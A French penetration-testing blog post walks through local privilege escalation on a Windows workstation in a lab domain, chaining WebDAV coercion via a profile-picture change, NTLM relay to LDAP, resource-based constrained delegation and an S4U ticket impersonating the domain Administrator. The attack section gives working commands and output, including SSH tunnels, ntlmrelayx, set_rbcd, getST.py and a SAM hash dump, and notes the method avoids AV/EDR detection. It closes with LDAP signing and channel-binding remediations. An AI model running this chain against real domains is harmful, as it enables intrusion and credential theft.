TL;DR

S'il est possible de créer des comptes machines dans un environnement Active Directory et que les mécanismes de sécurité ne sont pas configurés sur le serveur LDAP, il est possible de compromettre un poste en usurpant l'identité d'un administrateur du domaine sur le poste relayé.

Introduction

Dans les tests d'intrusion interne (LAN), les auditeurs sont souvent amenés à auditer un poste collaborateur fourni par le client. Mis à part l'audit de configuration qui consiste à analyser les configuration BIOS, le chiffrement du disque, etc. les tentatives d'élévation de privilèges sont également incluses. Cela passe par de l'énumération manuelle puis via des outils automatisés. Selon le durcissement du poste et les solutions de sécurité présentes, ces tests peuvent être plus ou moins faciles à effectuer.

Cependant dans un environnement Active Directory, les attaques par relais (NTLM ou Kerberos) restent encore aujourd’hui un chemin d’exploitation souvent rencontrés lors de nos pentests et peuvent servir à effectuer des élévations de privilèges. L'adoption de mécanismes de sécurité comme la signature sur le protocole SMB permet de limiter ces attaques et sont de plus en plus activées. Néanmoins d’autres protocoles et services moins connus et donc souvent moins durcis tel que WebDav peuvent être exploités à la place pour effectuer ces relais. WebClient est un excellent moyen d’effectuer des relais sans passer par le protocole SMB, il permet entre autres d’effectuer des relais HTTP vers LDAP(S). Plus de détails à ce sujet sont présentés ici par Specter Ops.

Si l'auditeur parvient à obtenir un accès administrateur sur le poste, il peut extraire la base SAM contenant les empreintes de mot de passe des utilisateurs locaux. De plus, si l'environnement n'utilise pas la solution Local Administrator Password Solution (LAPS) pour configurer le mot de passe des comptes administrateur locaux des postes, le hash NT de l'administrateur local peut être réutilisé pour latéraliser l'accès sur d'autres machines ou serveurs du réseau.

L’idée de ce post est de présenter une attaque d’élévation de privilèges locale qui permet d’éviter toute exécution de binaire sur le poste audité. Cet article est inspiré de la présentation de Gabriel Prud'homme consultant cybersécurité chez Black Hills Information Security.

Cette attaque n'est pas nouvelle et a été exploitée dans de nombreux scénarios mais reste un vecteur d'exploitation souvent utilisé lorsque les prérequis sont présents. Des outils comme DavRelayUp et KrbRelayUp automatisent cette élévation de privilèges mais nécessitent l'exécution d'un binaire sur le poste. Cela peut parfois être contraignant lorsque des solutions de protection surveillent le poste. Contrairement aux outils listés au-dessus, l’attaque présentée ci-dessous permet d'éviter le dépôt d'un fichier exécutable et donc une potentielle détection par un antivirus ou EDR.

Prérequis de l’attaque d’élévation de privilèges locale via WebDAV et RBCD

Les prérequis de cette attaque sont :

Attribut ms-DS-MachineAccountQuota (MAQ) supérieur à 0 (par défaut il est à 10)
Absence de LDAP signing et de LDAP channel binding (valeurs par défaut)

À noter que parfois même si le MachineAccountQuota est égal à 10 il n’est pas possible de créer des comptes machines car la permission spécifique n’est pas attribuée

Dans l'environnement de test crée avec Ludus, le MachineAccountQuota est égal à 10, cela peut être vérifié avec l'outil NetExec :

nxc ldap 10.2.10.11 \-u domainuser \-p password \-M maq  
LDAP        10.2.10.11      389    AS-DC01-2022     \[\*\] Windows Server 2022 Build 20348 (name:AS-DC01-2022) (domain:ludus.domain) (**signing:None**) (**channel binding:No TLS cert**)   
LDAP        10.2.10.11      389    AS-DC01-2022     \[+\] ludus.domain\\domainuser:password   
MAQ         10.2.10.11      389    AS-DC01-2022     \[\*\] Getting the MachineAccountQuota  
MAQ         10.2.10.11      389    AS-DC01-2022     **MachineAccountQuota: 10**

De plus, la signature et le channel binding LDAP sont désactivés.

Etapes de l’attaque

Les étapes simplifiées de l'attaque sont les suivantes :

Création d’un compte machine
Démarrer le service WebClient sur le poste fourni
Etablir du port forwarding entre le poste et la machine de l'auditeur avec SSH
Forcer une authentification du compte machine en changeant la photo de profil du compte
Relayer cette authentification vers le serveur LDAP
Configurer RBCD via un shell LDAP
Profit !

Création d’un compte machine

Plusieurs outils permettent de créer des comptes machines dans un environnement Active Directory, ici nous utilisons bloodyAD :

bloodyAD \--host 10.2.10.11 \-d ludus.domain \-u domainuser \-p password **add computer** 'ALGOSECURE-PC' 'Lucio-Possum-Abbot8'  
\[+\] ALGOSECURE-PC created

Démarrage du service WebClient

Pour démarrer le service WebClient sur le poste fourni il existe plusieurs méthodes. Dans notre cas, puisque nous avons un accès physique au poste, il suffit de faire une recherche dans l'explorateur de fichiers dans la barre d'adresse. Voici l’état du service avant la recherche :

Suivi d’une recherche dans la barre d’adresse :

Vérifier que le service WebClient est activé en listant les services via le gestionnaire de tâches :

Lister les services via gestionnaires de tâches

Port Forwarding via SSH

Cette étape est essentielle car elle permet de mettre en place les prérequis pour utiliser une chaîne de connexion WebDav au format \\SERVER@PORT\PATH\TO\DIR de la part du poste collaborateur qui suscite une requête WebDav du service WebClient exécuté sous le contexte du compte SYSTEM permettant une élévation de privilèges. Cet article de Specter Ops apporte plus de détails à ce sujet.

Plus précisément la chaîne de connexion WebDav utilisée ici sera \\LOCALHOST@PORT\PATH\TO\DIR. Pour pouvoir utiliser l’adresse LOCALHOST, du port forwarding est nécessaire.

Les machines Windows récentes (à partir de la version 10) possèdent le client SSH installé par défaut, cela facilite la mise en place du forward de ports et évite souvent la détection comparé à d’autres outils tels que Chisel ou Ligolo-ng.

La première étape consiste à démarrer un serveur SSH sur la machine de l'auditeur :

service ssh start

Ensuite sur le poste du client, la mise en place d'un port forward du port local 8080 vers le port 8080 de la machine de l'auditeur :

ssh \-L 8080:127.0.0.1:8080 \-N dev@198.51.100.2

Le deuxième port forward permet d'établir un proxy SOCKS en ouvrant le port 1080 sur la machine de l'auditeur et en faisant passer tout le trafic venant sur ce port via le poste audité (via proxychains par exemple) :

ssh \-R 1080 \-N dev@198.51.100.2

Tous les prérequis sont maintenant en place, il est temps de passer à la coercition du poste.

Forcer une authentification du compte machine en changeant la photo de profil

Ce titre accrocheur n’est pas un mensonge, comme expliqué précédemment puisque nous utilisons une chaîne de connexion WebDav, une authentification SYSTEM sera faite. Pour initier cette authentification, un changement de photo de profil est réalisé.

Il faut d'abord installer la version 0.9.24 d'Impacket avec les commandes suivantes :

wget https://github.com/fortra/impacket/releases/download/impacket\_0\_9\_24/impacket-0.9.24.tar.gz  
tar \-xvzf impacket-0.9.24.tar.gz  
cd impacket-0.9.24  
python3 \-m venv .venv  
source .venv/bin/activate  
pip install .

Il est important d'utiliser la version 0.9.24 car les versions plus récentes de l’outil ne fonctionnent plus. Un rapide travail de recherche a été mené pour comprendre pourquoi mais n'a pas abouti.

Il faut ensuite mettre en place ntlmrelay avec l'option --http-port 8080 avec le port correspondant au local port forward de l'étape précédente ainsi que l'option --serve-image suivie d’une image quelconque sous format JPG, ici algo.jpg .Cette option permet d’héberger l'image algo.jpg (qui se trouve dans le dossier courant) qui sera utilisé comme photo de profil.

proxychains4 ntlmrelayx.py \-i **\--http-port 8080** \-t ldap://10.2.10.11 \--delegate-access \--no-dump \--no-da \--no-acl **\--serve-image algo.jpg**

Ensuite sur le poste fourni, naviguer dans “Accounts -> Your info” et cliquer sur “Browse files” pour sélectionner une image pour la photo de profil :

Dans la barre de saisie “File name”, saisir l'adresse suivante \\localhost@8080\fake\algo.jpg et cliquez sur “Choose picture” :

La connexion sera transférée via le local port forward du port 8080 vers la machine de l'auditeur, donc vers ntlmrelay en écoute sur le port 8080.

Instantanément, de multiples authentifications sont reçues de la part du compte utilisateur (LUDUS\domainuser) mais une fois que l'image (algo.jpg) est servie du serveur HTTP, l'authentification du compte machine est reçue (LUDUS\AS-WIN11-22H2-1$) et relayée vers le serveur LDAP :

L’option -i de ntlmrelay démarre un serveur intéractif pour chaque authentification reçue, on remarque dans la capture au-dessus que le port qui nous intéresse est 11010. Une connexion via netcat permet d’accéder à un shell LDAP sous l’identité du compte relayé, ici AS-WIN11-22H2-1$.

Configuration RBCD via le shell intéractif LDAP

Une fois connecté, nous allons modifier l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity pour configurer une délégation contrainte basée sur les ressources (RBCD). La modification de cet attribut permet d’ajouter le compte machine ALGOSECURE-PC$, créée au tout début de l’attaque, pour lui donner les permissions d’usurper l’identité de n’importe quel utilisateur sur la machine AS-WIN11-22H2-1$.

nc 127.0.0.1 11010  
set\_rbcd AS-WIN11-22H2-1$ ALGOSECURE-PC$

Configuration RBCD via le shell intéractif LDAP

Il est possible de vérifier que l'attribut a bien été modifié avec succès avec l'outil bloodyAD. D'abord en listant le SID du compte machine créé :

bloodyAD \--host 10.2.10.11 \-d ludus.domain \-u domainuser \-p password get object ALGOSECURE-PC$ \--attr objectSid 

distinguishedName: CN=ALGOSECURE-PC,CN=Computers,DC=ludus,DC=domain  
objectSid: **S-1-5-21-3763894537-383857095-3410872387-1107**

Puis en inspectant l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity du compte machine relayé, ici AS-WIN11-22H2-1$, on observe que le SID correspond bien à celui de la machine ALGOSECURE-PC$ :

bloodyAD \--host 10.2.10.11 \-d ludus.domain \-u domainuser \-p password get object AS-WIN11-22H2-1$ \--attr msDS-AllowedToActOnBehalfOfOtherIdentity

distinguishedName: CN=AS-WIN11-22H2-1,OU=Workstations,DC=ludus,DC=domain  
msDS-AllowedToActOnBehalfOfOtherIdentity: O:S-1-5-32-544D:(A;;0xf01ff;;;**S-1-5-21-3763894537-383857095-3410872387-1107**)

Cette configuration permet au nouveau compte machine créé (ALGOSECURE-PC$) de demander des tickets de service (ST) pour lui-même au nom de n'importe quel utilisateur du domaine (S4U2Self) puis de le transférer vers la machine relayée (AS-WIN11-22H2-1$) (S4U2Proxy) puisqu’elle fait confiance au compte machine (ALGOSECURE-PC$) dû à la modification de l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity

Il est donc possible de demander un ticket de service en usurpant l'identité de l'administrateur du domaine avec l'outil getST.py de Impacket et le flag -impersonate :

getST.py \-spn CIFS/AS-WIN11-22H2-1.ludus.domain \-impersonate Administrator \-dc-ip 10.2.10.11 ludus.domain/ALGOSECURE-PC$:'Lucio-Possum-Abbot8'  
Impacket v0.13.0.dev0+20250107.155526.3d734075 \- Copyright Fortra, LLC and its affiliated companies

\[-\] CCache file is not found. Skipping...  
\[\*\] Getting TGT for user  
\[\*\] Impersonating Administrator  
\[\*\] Requesting S4U2self  
\[\*\] Requesting S4U2Proxy  
\[\*\] Saving ticket in Administrator@CIFS\_AS-WIN11-22H2-1.ludus.domain@LUDUS.DOMAIN.ccache

Une fois le ticket obtenu, il peut être exporté puis utiliser pour s'authentifier via le protocole Kerberos :

export KRB5CCNAME=/workspace/Administrator@CIFS\_AS-WIN11-22H2-1.ludus.domain@LUDUS.DOMAIN.ccache  
nxc smb 10.2.10.21 \--use-kcache  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  \[\*\] Windows 11 Build 22621 x64 (name:AS-WIN11-22H2-1) (domain:ludus.domain) (signing:False) (SMBv1:False)  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  \[+\] ludus.domain\\Administrator from ccache (admin)

L'extraction de la base SAM avec --sam permet d'obtenir le hash NT du compte administrateur local. En l’absence de LAPS, il y a de fortes chances que ce hash puisse être réutilisé sur d'autres machines ou serveurs du réseau.

nxc smb 10.2.10.21 \--use-kcache \--sam  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  \[\*\] Windows 11 Build 22621 x64 (name:AS-WIN11-22H2-1) (domain:ludus.domain) (signing:False) (SMBv1:False)   
SMB         10.2.10.21      445    AS-WIN11-22H2-1  \[+\] ludus.domain\\Administrator from ccache (admin)  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  \[\*\] Dumping SAM hashes  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:12978f5798bfed0f8e11965a7a68872c:::  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  localuser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::  
SMB         10.2.10.21      445    AS-WIN11-22H2-1  \[+\] Added 5 SAM hashes to the database

Remédiations et sécurisation du poste et du serveur LDAP

Le principe de cette attaque est de déplacer l'exécution des outils sur le poste de l’auditeur grâce au port forward et au proxy SOCKS. Il est beaucoup plus difficile pour les mécanismes de sécurité (AV, EDR) de détecter une requête HTTP “malicieuse” que l'exécution locale d’un binaire. De ce fait, forcer un attaquant à effectuer des actions directement sur le poste augmente la chance de le détecter. Cela peut se faire en limitant les flux sortant du poste pour par exemple désactiver les connexions SSH.

Cependant le plus important reste d’activer la signature et le channel binding LDAP sur le contrôleur de domaine. A noter que ces deux mécanismes sont nécessaires pour empêcher les relais, si la signature LDAP est activée mais pas le channel binding LDAPS, un relai vers LDAPS reste possible et vice versa.

Ces mécanismes de sécurité LDAP peuvent être activés dans la Group Policy Object (GPO) editor à l’emplacement suivant : Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options.

Puis en sélectionnant ces deux réglages :

Pour la signature LDAP : Domain controller: LDAP server signing requirements, mettre la valeur Require signing.
Pour le channel binding LDAPS : Domain controller: LDAP server channel binding token requirements, mettre la valeur Always.

Nous vous recommandons de lire les recommandations officielles de Microsoft disponible ici à ce sujet avant d’appliquer ces changements dans votre environnement.

Conclusion

Même si cette attaque n’est pas nouvelle, le fait que ses prérequis, qui correspondent aux valeurs par défaut dans un domaine Active Directory, soient souvent présents dans les environnements testés rend cette élévation de privilèges locale un moyen sûr de compromettre le poste audité.

De plus, le fait de pouvoir déplacer l’exécution des outils sur le poste de l’auditeur via un forward de ports évite grandement la détection par les antivirus et les EDRs. Même si cet article ne se concentre pas sur le contournement de ces solutions de sécurité, la technique présentée ici peut s’appliquer sur de nombreuses autres attaques si le but est de minimiser la détection.

Sources

https://youtu.be/b0lLxLJKaRs?t=3237 - BHIS | Coercions and Relays – The First Cred is the Deepest with Gabriel Prud'homme
https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
https://specterops.io/blog/2025/08/19/will-webclient-start/
https://specterops.io/blog/2025/08/22/operating-outside-the-box-ntlm-relaying-low-privilege-http-auth-to-ldap/ "Usually, with a relay to LDAP or LDAPS, the WebClient service is utilized due to client-side session security not being negotiated when authentication is sent. On Windows, using a WebDav connection string in the format of `\\SERVER@PORT\PATH\TO\DIR` elicits a WebDAV request from the WebClient service executing in the context of `SYSTEM`, often meaning if we’re able to elicit WebDav authentication from WebClient, we can escalate privileges locally."
https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient "To retrieve an authenticated connection, the remote server that attacker wants to victim to be relayed to [should be considered in the intranet zone (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#getting-intranet-zoned). One way to do it is to use the NetBIOS or DNS name of the attacker machine instead of its IP address."
https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb
https://trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022 "Essentially, this means if we are able to get an NTLM relay working from a computer account and delegate it to LDAPS, we can set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to any arbitrary value. If we set it to a value of a computer that we created, we can set our newly created computer up for regular constrained delegation. This will make our new computer able to request service tickets for itself on behalf of any user in the domain (S4U2Self) and then forward it to the relayed computer (S4U2Proxy) because the relayed computer explicitly trusts our new computer due to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

Élévation de privilèges locale via la photo de profil windows (WebDav + RBCD)